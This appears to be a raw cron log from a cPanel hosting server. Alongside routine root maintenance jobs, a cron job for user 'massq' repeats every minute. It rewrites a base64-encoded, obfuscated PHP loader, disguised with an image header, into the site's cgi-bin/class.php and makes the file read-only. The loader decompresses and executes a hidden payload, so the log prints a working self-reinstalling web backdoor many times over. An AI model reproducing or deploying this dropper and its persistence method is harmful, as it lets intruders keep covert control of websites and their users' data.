Sep  4 05:15:02 server CROND[19064]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 05:15:02 server CROND[19061]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  4 05:15:02 server CROND[19065]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 05:15:02 server CROND[19060]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 05:15:02 server CROND[19062]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 05:16:01 server CROND[19927]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 05:16:01 server CROND[19928]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 05:16:01 server CROND[19929]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 05:17:01 server CROND[20360]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 05:17:01 server CROND[20361]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 05:17:01 server CROND[20362]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 05:18:01 server CROND[20889]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 05:18:01 server CROND[20890]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 05:18:01 server CROND[20891]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 05:19:01 server CROND[21317]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 05:19:01 server CROND[21318]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 05:19:01 server CROND[21319]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 05:20:01 server CROND[21765]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 05:20:01 server CROND[21771]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 05:20:01 server CROND[21783]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 05:20:01 server CROND[21788]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 05:20:01 server CROND[21790]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 05:20:01 server CROND[21789]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 05:20:01 server CROND[21787]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 05:20:01 server CROND[21792]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 05:20:01 server CROND[21794]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 05:21:01 server CROND[22619]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 05:21:01 server CROND[22620]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 05:21:01 server CROND[22621]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 05:22:01 server CROND[23170]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 05:22:01 server CROND[23171]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 05:22:01 server CROND[23172]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 05:23:01 server CROND[23647]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 05:23:01 server CROND[23648]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 05:23:01 server CROND[23649]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 05:24:01 server CROND[24091]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 05:24:01 server CROND[24092]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 05:24:01 server CROND[24093]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 05:25:01 server CROND[24476]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 05:25:01 server CROND[24480]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 05:25:01 server CROND[24485]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 05:25:01 server CROND[24481]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 05:25:01 server CROND[24482]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 05:25:01 server CROND[24487]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 05:25:01 server CROND[24484]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 05:26:01 server CROND[25303]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 05:26:01 server CROND[25304]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 05:26:01 server CROND[25305]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
